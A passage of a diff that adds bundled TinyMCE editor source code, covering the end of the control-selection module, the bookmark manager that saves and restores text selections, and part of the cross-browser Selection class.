+				if (target.nodeName == 'IMG' || target.nodeName == 'TABLE') {
+					hideResizeRect();
+					selectedElm = target;
+					attachEvent(target, 'resizestart', resizeNativeStart);
+				}
+			}
+		}
+
+		function detachResizeStartListener() {
+			detachEvent(selectedElm, 'resizestart', resizeNativeStart);
+		}
+
+		function unbindResizeHandleEvents() {
+			for (var name in resizeHandles) {
+				var handle = resizeHandles[name];
+
+				if (handle.elm) {
+					dom.unbind(handle.elm);
+					delete handle.elm;
+				}
+			}
+		}
+
+		function disableGeckoResize() {
+			try {
+				// Disable object resizing on Gecko
+				editor.getDoc().execCommand('enableObjectResizing', false, false);
+			} catch (ex) {
+				// Ignore
+			}
+		}
+
+		function controlSelect(elm) {
+			var ctrlRng;
+
+			if (!isIE) {
+				return;
+			}
+
+			ctrlRng = editableDoc.body.createControlRange();
+
+			try {
+				ctrlRng.addElement(elm);
+				ctrlRng.select();
+				return true;
+			} catch (ex) {
+				// Ignore since the element can't be control selected for example a P tag
+			}
+		}
+
+		editor.on('init', function() {
+			if (isIE) {
+				// Hide the resize rect on resize and reselect the image
+				editor.on('ObjectResized', function(e) {
+					if (e.target.nodeName != 'TABLE') {
+						hideResizeRect();
+						controlSelect(e.target);
+					}
+				});
+
+				attachEvent(rootElement, 'controlselect', nativeControlSelect);
+
+				editor.on('mousedown', function(e) {
+					lastMouseDownEvent = e;
+				});
+			} else {
+				disableGeckoResize();
+
+				if (Env.ie >= 11) {
+					// TODO: Drag/drop doesn't work
+					editor.on('mouseup', function(e) {
+						var nodeName = e.target.nodeName;
+
+						if (!resizeStarted && /^(TABLE|IMG|HR)$/.test(nodeName)) {
+							editor.selection.select(e.target, nodeName == 'TABLE');
+							editor.nodeChanged();
+						}
+					});
+
+					editor.dom.bind(rootElement, 'mscontrolselect', function(e) {
+						if (/^(TABLE|IMG|HR)$/.test(e.target.nodeName)) {
+							e.preventDefault();
+
+							// This moves the selection from being a control selection to a text like selection like in WebKit #6753
+							// TODO: Fix this the day IE works like other browsers without this nasty native ugly control selections.
+							if (e.target.tagName == 'IMG') {
+								window.setTimeout(function() {
+									editor.selection.select(e.target);
+								}, 0);
+							}
+						}
+					});
+				}
+			}
+
+			editor.on('nodechange ResizeEditor', updateResizeRect);
+
+			// Update resize rect while typing in a table
+			editor.on('keydown keyup', function(e) {
+				if (selectedElm && selectedElm.nodeName == "TABLE") {
+					updateResizeRect(e);
+				}
+			});
+
+			editor.on('hide', hideResizeRect);
+
+			// Hide rect on focusout since it would float on top of windows otherwise
+			//editor.on('focusout', hideResizeRect);
+		});
+
+		editor.on('remove', unbindResizeHandleEvents);
+
+		function destroy() {
+			selectedElm = selectedElmGhost = null;
+
+			if (isIE) {
+				detachResizeStartListener();
+				detachEvent(rootElement, 'controlselect', nativeControlSelect);
+			}
+		}
+
+		return {
+			isResizable: isResizable,
+			showResizeRect: showResizeRect,
+			hideResizeRect: hideResizeRect,
+			updateResizeRect: updateResizeRect,
+			controlSelect: controlSelect,
+			destroy: destroy
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/dom/BookmarkManager.js
+
+/**
+ * BookmarkManager.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles selection bookmarks.
+ *
+ * @class tinymce.dom.BookmarkManager
+ */
+define("tinymce/dom/BookmarkManager", [
+	"tinymce/Env",
+	"tinymce/util/Tools"
+], function(Env, Tools) {
+	/**
+	 * Constructs a new BookmarkManager instance for a specific selection instance.
+	 *
+	 * @constructor
+	 * @method BookmarkManager
+	 * @param {tinymce.dom.Selection} selection Selection instance to handle bookmarks for.
+	 */
+	function BookmarkManager(selection) {
+		var dom = selection.dom;
+
+		/**
+		 * Returns a bookmark location for the current selection. This bookmark object
+		 * can then be used to restore the selection after some content modification to the document.
+		 *
+		 * @method getBookmark
+		 * @param {Number} type Optional state if the bookmark should be simple or not. Default is complex.
+		 * @param {Boolean} normalized Optional state that enables you to get a position that it would be after normalization.
+		 * @return {Object} Bookmark object, use moveToBookmark with this object to restore the selection.
+		 * @example
+		 * // Stores a bookmark of the current selection
+		 * var bm = tinymce.activeEditor.selection.getBookmark();
+		 *
+		 * tinymce.activeEditor.setContent(tinymce.activeEditor.getContent() + 'Some new content');
+		 *
+		 * // Restore the selection bookmark
+		 * tinymce.activeEditor.selection.moveToBookmark(bm);
+		 */
+		this.getBookmark = function(type, normalized) {
+			var rng, rng2, id, collapsed, name, element, chr = '&#xFEFF;', styles;
+
+			function findIndex(name, element) {
+				var index = 0;
+
+				Tools.each(dom.select(name), function(node, i) {
+					if (node == element) {
+						index = i;
+					}
+				});
+
+				return index;
+			}
+
+			function normalizeTableCellSelection(rng) {
+				function moveEndPoint(start) {
+					var container, offset, childNodes, prefix = start ? 'start' : 'end';
+
+					container = rng[prefix + 'Container'];
+					offset = rng[prefix + 'Offset'];
+
+					if (container.nodeType == 1 && container.nodeName == "TR") {
+						childNodes = container.childNodes;
+						container = childNodes[Math.min(start ? offset : offset - 1, childNodes.length - 1)];
+						if (container) {
+							offset = start ? 0 : container.childNodes.length;
+							rng['set' + (start ? 'Start' : 'End')](container, offset);
+						}
+					}
+				}
+
+				moveEndPoint(true);
+				moveEndPoint();
+
+				return rng;
+			}
+
+			function getLocation() {
+				var rng = selection.getRng(true), root = dom.getRoot(), bookmark = {};
+
+				function getPoint(rng, start) {
+					var container = rng[start ? 'startContainer' : 'endContainer'],
+						offset = rng[start ? 'startOffset' : 'endOffset'], point = [], node, childNodes, after = 0;
+
+					if (container.nodeType == 3) {
+						if (normalized) {
+							for (node = container.previousSibling; node && node.nodeType == 3; node = node.previousSibling) {
+								offset += node.nodeValue.length;
+							}
+						}
+
+						point.push(offset);
+					} else {
+						childNodes = container.childNodes;
+
+						if (offset >= childNodes.length && childNodes.length) {
+							after = 1;
+							offset = Math.max(0, childNodes.length - 1);
+						}
+
+						point.push(dom.nodeIndex(childNodes[offset], normalized) + after);
+					}
+
+					for (; container && container != root; container = container.parentNode) {
+						point.push(dom.nodeIndex(container, normalized));
+					}
+
+					return point;
+				}
+
+				bookmark.start = getPoint(rng, true);
+
+				if (!selection.isCollapsed()) {
+					bookmark.end = getPoint(rng);
+				}
+
+				return bookmark;
+			}
+
+			if (type == 2) {
+				element = selection.getNode();
+				name = element ? element.nodeName : null;
+
+				if (name == 'IMG') {
+					return {name: name, index: findIndex(name, element)};
+				}
+
+				if (selection.tridentSel) {
+					return selection.tridentSel.getBookmark(type);
+				}
+
+				return getLocation();
+			}
+
+			// Handle simple range
+			if (type) {
+				return {rng: selection.getRng()};
+			}
+
+			rng = selection.getRng();
+			id = dom.uniqueId();
+			collapsed = selection.isCollapsed();
+			styles = 'overflow:hidden;line-height:0px';
+
+			// Explorer method
+			if (rng.duplicate || rng.item) {
+				// Text selection
+				if (!rng.item) {
+					rng2 = rng.duplicate();
+
+					try {
+						// Insert start marker
+						rng.collapse();
+						rng.pasteHTML('<span data-mce-type="bookmark" id="' + id + '_start" style="' + styles + '">' + chr + '</span>');
+
+						// Insert end marker
+						if (!collapsed) {
+							rng2.collapse(false);
+
+							// Detect the empty space after block elements in IE and move the
+							// end back one character <p></p>] becomes <p>]</p>
+							rng.moveToElementText(rng2.parentElement());
+							if (rng.compareEndPoints('StartToEnd', rng2) === 0) {
+								rng2.move('character', -1);
+							}
+
+							rng2.pasteHTML('<span data-mce-type="bookmark" id="' + id + '_end" style="' + styles + '">' + chr + '</span>');
+						}
+					} catch (ex) {
+						// IE might throw unspecified error so lets ignore it
+						return null;
+					}
+				} else {
+					// Control selection
+					element = rng.item(0);
+					name = element.nodeName;
+
+					return {name: name, index: findIndex(name, element)};
+				}
+			} else {
+				element = selection.getNode();
+				name = element.nodeName;
+				if (name == 'IMG') {
+					return {name: name, index: findIndex(name, element)};
+				}
+
+				// W3C method
+				rng2 = normalizeTableCellSelection(rng.cloneRange());
+
+				// Insert end marker
+				if (!collapsed) {
+					rng2.collapse(false);
+					rng2.insertNode(dom.create('span', {'data-mce-type': "bookmark", id: id + '_end', style: styles}, chr));
+				}
+
+				rng = normalizeTableCellSelection(rng);
+				rng.collapse(true);
+				rng.insertNode(dom.create('span', {'data-mce-type': "bookmark", id: id + '_start', style: styles}, chr));
+			}
+
+			selection.moveToBookmark({id: id, keep: 1});
+
+			return {id: id};
+		};
+
+		/**
+		 * Restores the selection to the specified bookmark.
+		 *
+		 * @method moveToBookmark
+		 * @param {Object} bookmark Bookmark to restore selection from.
+		 * @return {Boolean} true/false if it was successful or not.
+		 * @example
+		 * // Stores a bookmark of the current selection
+		 * var bm = tinymce.activeEditor.selection.getBookmark();
+		 *
+		 * tinymce.activeEditor.setContent(tinymce.activeEditor.getContent() + 'Some new content');
+		 *
+		 * // Restore the selection bookmark
+		 * tinymce.activeEditor.selection.moveToBookmark(bm);
+		 */
+		this.moveToBookmark = function(bookmark) {
+			var rng, root, startContainer, endContainer, startOffset, endOffset;
+
+			function setEndPoint(start) {
+				var point = bookmark[start ? 'start' : 'end'], i, node, offset, children;
+
+				if (point) {
+					offset = point[0];
+
+					// Find container node
+					for (node = root, i = point.length - 1; i >= 1; i--) {
+						children = node.childNodes;
+
+						if (point[i] > children.length - 1) {
+							return;
+						}
+
+						node = children[point[i]];
+					}
+
+					// Move text offset to best suitable location
+					if (node.nodeType === 3) {
+						offset = Math.min(point[0], node.nodeValue.length);
+					}
+
+					// Move element offset to best suitable location
+					if (node.nodeType === 1) {
+						offset = Math.min(point[0], node.childNodes.length);
+					}
+
+					// Set offset within container node
+					if (start) {
+						rng.setStart(node, offset);
+					} else {
+						rng.setEnd(node, offset);
+					}
+				}
+
+				return true;
+			}
+
+			function restoreEndPoint(suffix) {
+				var marker = dom.get(bookmark.id + '_' + suffix), node, idx, next, prev, keep = bookmark.keep;
+
+				if (marker) {
+					node = marker.parentNode;
+
+					if (suffix == 'start') {
+						if (!keep) {
+							idx = dom.nodeIndex(marker);
+						} else {
+							node = marker.firstChild;
+							idx = 1;
+						}
+
+						startContainer = endContainer = node;
+						startOffset = endOffset = idx;
+					} else {
+						if (!keep) {
+							idx = dom.nodeIndex(marker);
+						} else {
+							node = marker.firstChild;
+							idx = 1;
+						}
+
+						endContainer = node;
+						endOffset = idx;
+					}
+
+					if (!keep) {
+						prev = marker.previousSibling;
+						next = marker.nextSibling;
+
+						// Remove all marker text nodes
+						Tools.each(Tools.grep(marker.childNodes), function(node) {
+							if (node.nodeType == 3) {
+								node.nodeValue = node.nodeValue.replace(/\uFEFF/g, '');
+							}
+						});
+
+						// Remove marker but keep children if for example contents where inserted into the marker
+						// Also remove duplicated instances of the marker for example by a
+						// split operation or by WebKit auto split on paste feature
+						while ((marker = dom.get(bookmark.id + '_' + suffix))) {
+							dom.remove(marker, 1);
+						}
+
+						// If siblings are text nodes then merge them unless it's Opera since it some how removes the node
+						// and we are sniffing since adding a lot of detection code for a browser with 3% of the market
+						// isn't worth the effort. Sorry, Opera but it's just a fact
+						if (prev && next && prev.nodeType == next.nodeType && prev.nodeType == 3 && !Env.opera) {
+							idx = prev.nodeValue.length;
+							prev.appendData(next.nodeValue);
+							dom.remove(next);
+
+							if (suffix == 'start') {
+								startContainer = endContainer = prev;
+								startOffset = endOffset = idx;
+							} else {
+								endContainer = prev;
+								endOffset = idx;
+							}
+						}
+					}
+				}
+			}
+
+			function addBogus(node) {
+				// Adds a bogus BR element for empty block elements
+				if (dom.isBlock(node) && !node.innerHTML && !Env.ie) {
+					node.innerHTML = '<br data-mce-bogus="1" />';
+				}
+
+				return node;
+			}
+
+			if (bookmark) {
+				if (bookmark.start) {
+					rng = dom.createRng();
+					root = dom.getRoot();
+
+					if (selection.tridentSel) {
+						return selection.tridentSel.moveToBookmark(bookmark);
+					}
+
+					if (setEndPoint(true) && setEndPoint()) {
+						selection.setRng(rng);
+					}
+				} else if (bookmark.id) {
+					// Restore start/end points
+					restoreEndPoint('start');
+					restoreEndPoint('end');
+
+					if (startContainer) {
+						rng = dom.createRng();
+						rng.setStart(addBogus(startContainer), startOffset);
+						rng.setEnd(addBogus(endContainer), endOffset);
+						selection.setRng(rng);
+					}
+				} else if (bookmark.name) {
+					selection.select(dom.select(bookmark.name)[bookmark.index]);
+				} else if (bookmark.rng) {
+					selection.setRng(bookmark.rng);
+				}
+			}
+		};
+	}
+
+	/**
+	 * Returns true/false if the specified node is a bookmark node or not.
+	 *
+	 * @static
+	 * @method isBookmarkNode
+	 * @param {DOMNode} node DOM Node to check if it's a bookmark node or not.
+	 * @return {Boolean} true/false if the node is a bookmark node or not.
+	 */
+	BookmarkManager.isBookmarkNode = function(node) {
+		return node && node.tagName === 'SPAN' && node.getAttribute('data-mce-type') === 'bookmark';
+	};
+
+	return BookmarkManager;
+});
+
+// Included from: js/tinymce/classes/dom/Selection.js
+
+/**
+ * Selection.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles text and control selection it's an crossbrowser utility class.
+ * Consult the TinyMCE Wiki API for more details and examples on how to use this class.
+ *
+ * @class tinymce.dom.Selection
+ * @example
+ * // Getting the currently selected node for the active editor
+ * alert(tinymce.activeEditor.selection.getNode().nodeName);
+ */
+define("tinymce/dom/Selection", [
+	"tinymce/dom/TreeWalker",
+	"tinymce/dom/TridentSelection",
+	"tinymce/dom/ControlSelection",
+	"tinymce/dom/RangeUtils",
+	"tinymce/dom/BookmarkManager",
+	"tinymce/Env",
+	"tinymce/util/Tools"
+], function(TreeWalker, TridentSelection, ControlSelection, RangeUtils, BookmarkManager, Env, Tools) {
+	var each = Tools.each, trim = Tools.trim;
+	var isIE = Env.ie;
+
+	/**
+	 * Constructs a new selection instance.
+	 *
+	 * @constructor
+	 * @method Selection
+	 * @param {tinymce.dom.DOMUtils} dom DOMUtils object reference.
+	 * @param {Window} win Window to bind the selection object to.
+	 * @param {tinymce.dom.Serializer} serializer DOM serialization class to use for getContent.
+	 */
+	function Selection(dom, win, serializer, editor) {
+		var self = this;
+
+		self.dom = dom;
+		self.win = win;
+		self.serializer = serializer;
+		self.editor = editor;
+		self.bookmarkManager = new BookmarkManager(self);
+		self.controlSelection = new ControlSelection(self, editor);
+
+		// No W3C Range support
+		if (!self.win.getSelection) {
+			self.tridentSel = new TridentSelection(self);
+		}
+	}
+
+	Selection.prototype = {
+		/**
+		 * Move the selection cursor range to the specified node and offset.
+		 * If there is no node specified it will move it to the first suitable location within the body.
+		 *
+		 * @method setCursorLocation
+		 * @param {Node} node Optional node to put the cursor in.
+		 * @param {Number} offset Optional offset from the start of the node to put the cursor at.
+		 */
+		setCursorLocation: function(node, offset) {
+			var self = this, rng = self.dom.createRng();
+
+			if (!node) {
+				self._moveEndPoint(rng, self.editor.getBody(), true);
+				self.setRng(rng);
+			} else {
+				rng.setStart(node, offset);
+				rng.setEnd(node, offset);
+				self.setRng(rng);
+				self.collapse(false);
+			}
+		},
+
+		/**
+		 * Returns the selected contents using the DOM serializer passed in to this class.
+		 *
+		 * @method getContent
+		 * @param {Object} s Optional settings class with for example output format text or html.
+		 * @return {String} Selected contents in for example HTML format.
+		 * @example
+		 * // Alerts the currently selected contents
+		 * alert(tinymce.activeEditor.selection.getContent());
+		 *
+		 * // Alerts the currently selected contents as plain text
+		 * alert(tinymce.activeEditor.selection.getContent({format: 'text'}));
+		 */
+		getContent: function(args) {
+			var self = this, rng = self.getRng(), tmpElm = self.dom.create("body");
+			var se = self.getSel(), whiteSpaceBefore, whiteSpaceAfter, fragment;
+
+			args = args || {};
+			whiteSpaceBefore = whiteSpaceAfter = '';
+			args.get = true;
+			args.format = args.format || 'html';
+			args.selection = true;
+			self.editor.fire('BeforeGetContent', args);
+
+			if (args.format == 'text') {
+				return self.isCollapsed() ? '' : (rng.text || (se.toString ? se.toString() : ''));
+			}
+
+			if (rng.cloneContents) {
+				fragment = rng.cloneContents();
+
+				if (fragment) {
+					tmpElm.appendChild(fragment);
+				}
+			} else if (rng.item !== undefined || rng.htmlText !== undefined) {
+				// IE will produce invalid markup if elements are present that
+				// it doesn't understand like custom elements or HTML5 elements.
+				// Adding a BR in front of the contents and then remoiving it seems to fix it though.
+				tmpElm.innerHTML = '<br>' + (rng.item ? rng.item(0).outerHTML : rng.htmlText);
+				tmpElm.removeChild(tmpElm.firstChild);
+			} else {
+				tmpElm.innerHTML = rng.toString();
+			}
+
+			// Keep whitespace before and after
+			if (/^\s/.test(tmpElm.innerHTML)) {
+				whiteSpaceBefore = ' ';
+			}
+
+			if (/\s+$/.test(tmpElm.innerHTML)) {
+				whiteSpaceAfter = ' ';
+			}
+
+			args.getInner = true;
+
+			args.content = self.isCollapsed() ? '' : whiteSpaceBefore + self.serializer.serialize(tmpElm, args) + whiteSpaceAfter;
+			self.editor.fire('GetContent', args);
+
+			return args.content;
+		},
+
+		/**
+		 * Sets the current selection to the specified content. If any contents is selected it will be replaced
+		 * with the contents passed in to this function. If there is no selection the contents will be inserted
+		 * where the caret is placed in the editor/page.
+		 *
+		 * @method setContent
+		 * @param {String} content HTML contents to set could also be other formats depending on settings.
+		 * @param {Object} args Optional settings object with for example data format.
+		 * @example
+		 * // Inserts some HTML contents at the current selection
+		 * tinymce.activeEditor.selection.setContent('<strong>Some contents</strong>');
+		 */
+		setContent: function(content, args) {
+			var self = this, rng = self.getRng(), caretNode, doc = self.win.document, frag, temp;
+
+			args = args || {format: 'html'};
+			args.set = true;
+			args.selection = true;
+			content = args.content = content;
+
+			// Dispatch before set content event
+			if (!args.no_events) {
+				self.editor.fire('BeforeSetContent', args);
+			}
+
+			content = args.content;
+
+			if (rng.insertNode) {
+				// Make caret marker since insertNode places the caret in the beginning of text after insert
+				content += '<span id="__caret">_</span>';
+
+				// Delete and insert new node
+				if (rng.startContainer == doc && rng.endContainer == doc) {
+					// WebKit will fail if the body is empty since the range is then invalid and it can't insert contents
+					doc.body.innerHTML = content;
+				} else {
+					rng.deleteContents();
+
+					if (doc.body.childNodes.length === 0) {
+						doc.body.innerHTML = content;
+					} else {
+						// createContextualFragment doesn't exists in IE 9 DOMRanges
+						if (rng.createContextualFragment) {
+							rng.insertNode(rng.createContextualFragment(content));
+						} else {
+							// Fake createContextualFragment call in IE 9
+							frag = doc.createDocumentFragment();
+							temp = doc.createElement('div');
+
+							frag.appendChild(temp);
+							temp.outerHTML = content;
+
+							rng.insertNode(frag);
+						}
+					}
+				}
+
+				// Move to caret marker
+				caretNode = self.dom.get('__caret');
+
+				// Make sure we wrap it compleatly, Opera fails with a simple select call
+				rng = doc.createRange();
+				rng.setStartBefore(caretNode);
+				rng.setEndBefore(caretNode);
+				self.setRng(rng);
+
+				// Remove the caret position
+				self.dom.remove('__caret');
+
+				try {
+					self.setRng(rng);
+				} catch (ex) {
+					// Might fail on Opera for some odd reason
+				}
+			} else {
+				if (rng.item) {
+					// Delete content and get caret text selection
+					doc.execCommand('Delete', false, null);
+					rng = self.getRng();
+				}
+
+				// Explorer removes spaces from the beginning of pasted contents
+				if (/^\s+/.test(content)) {
+					rng.pasteHTML('<span id="__mce_tmp">_</span>' + content);
+					self.dom.remove('__mce_tmp');
+				} else {
+					rng.pasteHTML(content);
+				}
+			}
+
+			// Dispatch set content event
+			if (!args.no_events) {
+				self.editor.fire('SetContent', args);
+			}
+		},
+
+		/**
+		 * Returns the start element of a selection range. If the start is in a text
+		 * node the parent element will be returned.
+		 *
+		 * @method getStart
+		 * @param {Boolean} real Optional state to get the real parent when the selection is collapsed not the closest element.
+		 * @return {Element} Start element of selection range.
+		 */
+		getStart: function(real) {
+			var self = this, rng = self.getRng(), startElement, parentElement, checkRng, node;
+
+			if (rng.duplicate || rng.item) {
+				// Control selection, return first item
+				if (rng.item) {
+					return rng.item(0);
+				}
+
+				// Get start element
+				checkRng = rng.duplicate();
+				checkRng.collapse(1);
+				startElement = checkRng.parentElement();
+				if (startElement.ownerDocument !== self.dom.doc) {
+					startElement = self.dom.getRoot();
+				}
+
+				// Check if range parent is inside the start element, then return the inner parent element
+				// This will fix issues when a single element is selected, IE would otherwise return the wrong start element
+				parentElement = node = rng.parentElement();
+				while ((node = node.parentNode)) {
+					if (node == startElement) {
+						startElement = parentElement;
+						break;
+					}
+				}
+
+				return startElement;
+			} else {
+				startElement = rng.startContainer;
+
+				if (startElement.nodeType == 1 && startElement.hasChildNodes()) {
+					if (!real || !rng.collapsed) {
+						startElement = startElement.childNodes[Math.min(startElement.childNodes.length - 1, rng.startOffset)];
+					}
+				}
+
+				if (startElement && startElement.nodeType == 3) {
+					return startElement.parentNode;
+				}
+
+				return startElement;
+			}
+		},
+
+		/**
+		 * Returns the end element of a selection range. If the end is in a text
+		 * node the parent element will be returned.
+		 *
+		 * @method getEnd
+		 * @param {Boolean} real Optional state to get the real parent when the selection is collapsed not the closest element.
+		 * @return {Element} End element of selection range.
+		 */
+		getEnd: function(real) {
+			var self = this, rng = self.getRng(), endElement, endOffset;
+
+			if (rng.duplicate || rng.item) {
+				if (rng.item) {
+					return rng.item(0);
+				}
+
+				rng = rng.duplicate();
+				rng.collapse(0);
+				endElement = rng.parentElement();
+				if (endElement.ownerDocument !== self.dom.doc) {
+					endElement = self.dom.getRoot();
+				}
+
+				if (endElement && endElement.nodeName == 'BODY') {
+					return endElement.lastChild || endElement;
+				}
+
+				return endElement;
+			} else {
+				endElement = rng.endContainer;
+				endOffset = rng.endOffset;
+
+				if (endElement.nodeType == 1 && endElement.hasChildNodes()) {
+					if (!real || !rng.collapsed) {
+						endElement = endElement.childNodes[endOffset > 0 ? endOffset - 1 : endOffset];
+					}
+				}
+
+				if (endElement && endElement.nodeType == 3) {
+					return endElement.parentNode;
+				}
+
+				return endElement;
+			}
+		},
+
+		/**
+		 * Returns a bookmark location for the current selection. This bookmark object
+		 * can then be used to restore the selection after some content modification to the document.
+		 *
+		 * @method getBookmark
+		 * @param {Number} type Optional state if the bookmark should be simple or not. Default is complex.
+		 * @param {Boolean} normalized Optional state that enables you to get a position that it would be after normalization.
+		 * @return {Object} Bookmark object, use moveToBookmark with this object to restore the selection.
+		 * @example
+		 * // Stores a bookmark of the current selection
+		 * var bm = tinymce.activeEditor.selection.getBookmark();
+		 *
+		 * tinymce.activeEditor.setContent(tinymce.activeEditor.getContent() + 'Some new content');
+		 *
+		 * // Restore the selection bookmark
+		 * tinymce.activeEditor.selection.moveToBookmark(bm);
+		 */
+		getBookmark: function(type, normalized) {
+			return this.bookmarkManager.getBookmark(type, normalized);
+		},
+
+		/**
+		 * Restores the selection to the specified bookmark.
+		 *
+		 * @method moveToBookmark
+		 * @param {Object} bookmark Bookmark to restore selection from.
+		 * @return {Boolean} true/false if it was successful or not.
+		 * @example
+		 * // Stores a bookmark of the current selection
+		 * var bm = tinymce.activeEditor.selection.getBookmark();
+		 *
+		 * tinymce.activeEditor.setContent(tinymce.activeEditor.getContent() + 'Some new content');
+		 *
+		 * // Restore the selection bookmark
+		 * tinymce.activeEditor.selection.moveToBookmark(bm);
+		 */
+		moveToBookmark: function(bookmark) {
+			return this.bookmarkManager.moveToBookmark(bookmark);
+		},
+
+		/**
+		 * Selects the specified element. This will place the start and end of the selection range around the element.
+		 *
+		 * @method select
+		 * @param {Element} node HMTL DOM element to select.
+		 * @param {Boolean} content Optional bool state if the contents should be selected or not on non IE browser.
+		 * @return {Element} Selected element the same element as the one that got passed in.
+		 * @example
+		 * // Select the first paragraph in the active editor
+		 * tinymce.activeEditor.selection.select(tinymce.activeEditor.dom.select('p')[0]);
+		 */
+		select: function(node, content) {
+			var self = this, dom = self.dom, rng = dom.createRng(), idx;
+
+			// Clear stored range set by FocusManager
+			self.lastFocusBookmark = null;
+
+			if (node) {
+				if (!content && self.controlSelection.controlSelect(node)) {
+					return;
+				}
+
+				idx = dom.nodeIndex(node);
+				rng.setStart(node.parentNode, idx);
+				rng.setEnd(node.parentNode, idx + 1);
+
+				// Find first/last text node or BR element
+				if (content) {
+					self._moveEndPoint(rng, node, true);
+					self._moveEndPoint(rng, node);
+				}
+
+				self.setRng(rng);
+			}
+
+			return node;
+		},
+
+		/**
+		 * Returns true/false if the selection range is collapsed or not. Collapsed means if it's a caret or a larger selection.
+		 *
+		 * @method isCollapsed
+		 * @return {Boolean} true/false state if the selection range is collapsed or not.
+		 * Collapsed means if it's a caret or a larger selection.
+		 */
+		isCollapsed: function() {
+			var self = this, rng = self.getRng(), sel = self.getSel();
+
+			if (!rng || rng.item) {
+				return false;
+			}
+
+			if (rng.compareEndPoints) {
+				return rng.compareEndPoints('StartToEnd', rng) === 0;
+			}
+
+			return !sel || rng.collapsed;
+		},
+
+		/**
+		 * Collapse the selection to start or end of range.
+		 *
+		 * @method collapse
+		 * @param {Boolean} toStart Optional boolean state if to collapse to end or not. Defaults to start.
+		 */
+		collapse: function(toStart) {
+			var self = this, rng = self.getRng(), node;
+
+			// Control range on IE
+			if (rng.item) {
+				node = rng.item(0);
+				rng = self.win.document.body.createTextRange();
+				rng.moveToElementText(node);
+			}
+
+			rng.collapse(!!toStart);
+			self.setRng(rng);
+		},
+
+		/**
+		 * Returns the browsers internal selection object.
+		 *
+		 * @method getSel
+		 * @return {Selection} Internal browser selection object.
+		 */
+		getSel: function() {
+			var win = this.win;
+
+			return win.getSelection ? win.getSelection() : win.document.selection;
+		},
+
+		/**
+		 * Returns the browsers internal range object.
+		 *
+		 * @method getRng
+		 * @param {Boolean} w3c Forces a compatible W3C range on IE.
+		 * @return {Range} Internal browser range object.
+		 * @see http://www.quirksmode.org/dom/range_intro.html
+		 * @see http://www.dotvoid.com/2001/03/using-the-range-object-in-mozilla/
+		 */
+		getRng: function(w3c) {
+			var self = this, selection, rng, elm, doc = self.win.document, ieRng;
+
+			function tryCompareBoundaryPoints(how, sourceRange, destinationRange) {
+				try {
+					return sourceRange.compareBoundaryPoints(how, destinationRange);
+				} catch (ex) {
+					// Gecko throws wrong document exception if the range points
+					// to nodes that where removed from the dom #6690
+					// Browsers should mutate existing DOMRange instances so that they always point
+					// to something in the document this is not the case in Gecko works fine in IE/WebKit/Blink
+					// For performance reasons just return -1
+					return -1;
+				}
+			}
+
+			// Use last rng passed from FocusManager if it's available this enables
+			// calls to editor.selection.getStart() to work when caret focus is lost on IE
+			if (!w3c && self.lastFocusBookmark) {
+				var bookmark = self.lastFocusBookmark;
+
+				// Convert bookmark to range IE 11 fix
+				if (bookmark.startContainer) {
+					rng = doc.createRange();
+					rng.setStart(bookmark.startContainer, bookmark.startOffset);
+					rng.setEnd(bookmark.endContainer, bookmark.endOffset);
+				} else {
+					rng = bookmark;
+				}
+
+				return rng;
+			}
+
+			// Found tridentSel object then we need to use that one
+			if (w3c && self.tridentSel) {
+				return self.tridentSel.getRangeAt(0);
+			}
+
+			try {
+				if ((selection = self.getSel())) {
+					if (selection.rangeCount > 0) {
+						rng = selection.getRangeAt(0);
+					} else {
+						rng = selection.createRange ? selection.createRange() : doc.createRange();
+					}
+				}
+			} catch (ex) {
+				// IE throws unspecified error here if TinyMCE is placed in a frame/iframe
+			}
+
+			// We have W3C ranges and it's IE then fake control selection since IE9 doesn't handle that correctly yet
+			// IE 11 doesn't support the selection object so we check for that as well
+			if (isIE && rng && rng.setStart && doc.selection) {
+				try {
+					// IE will sometimes throw an exception here
+					ieRng = doc.selection.createRange();
+				} catch (ex) {
+
+				}
+
+				if (ieRng && ieRng.item) {
+					elm = ieRng.item(0);
+					rng = doc.createRange();
+					rng.setStartBefore(elm);
+					rng.setEndAfter(elm);
+				}
+			}
+
+			// No range found then create an empty one
+			// This can occur when the editor is placed in a hidden container element on Gecko
+			// Or on IE when there was an exception
+			if (!rng) {
+				rng = doc.createRange ? doc.createRange() : doc.body.createTextRange();
+			}
+
+			// If range is at start of document then move it to start of body
+			if (rng.setStart && rng.startContainer.nodeType === 9 && rng.collapsed) {
+				elm = self.dom.getRoot();
+				rng.setStart(elm, 0);
+				rng.setEnd(elm, 0);
+			}
+
+			if (self.selectedRange && self.explicitRange) {
+				if (tryCompareBoundaryPoints(rng.START_TO_START, rng, self.selectedRange) === 0 &&
+					tryCompareBoundaryPoints(rng.END_TO_END, rng, self.selectedRange) === 0) {
+					// Safari, Opera and Chrome only ever select text which causes the range to change.
+					// This lets us use the originally set range if the selection hasn't been changed by the user.
+					rng = self.explicitRange;
+				} else {
+					self.selectedRange = null;
+					self.explicitRange = null;
+				}
+			}
+
+			return rng;
+		},
+
+		/**
+		 * Changes the selection to the specified DOM range.
+		 *
+		 * @method setRng
+		 * @param {Range} rng Range to select.
+		 */
+		setRng: function(rng, forward) {
+			var self = this, sel;
+
+			if (!rng) {
+				return;
+			}
+
+			// Is IE specific range
+			if (rng.select) {
+				try {
+					rng.select();
+				} catch (ex) {
+					// Needed for some odd IE bug #1843306
+				}
+
+				return;
+			}
+
+			if (!self.tridentSel) {
+				sel = self.getSel();
+
+				if (sel) {
+					self.explicitRange = rng;
+
+					try {
+						sel.removeAllRanges();
+						sel.addRange(rng);
+					} catch (ex) {
+						// IE might throw errors here if the editor is within a hidden container and selection is changed
+					}
+
+					// Forward is set to false and we have an extend function
+					if (forward === false && sel.extend) {
+						sel.collapse(rng.endContainer, rng.endOffset);
+						sel.extend(rng.startContainer, rng.startOffset);
+					}
+
+					// adding range isn't always successful so we need to check range count otherwise an exception can occur
+					self.selectedRange = sel.rangeCount > 0 ? sel.getRangeAt(0) : null;
+				}
+			} else {
+				// Is W3C Range fake range on IE
+				if (rng.cloneRange) {
+					try {
+						self.tridentSel.addRange(rng);
+						return;
+					} catch (ex) {
+						//IE9 throws an error here if called before selection is placed in the editor
+					}
+				}
+			}
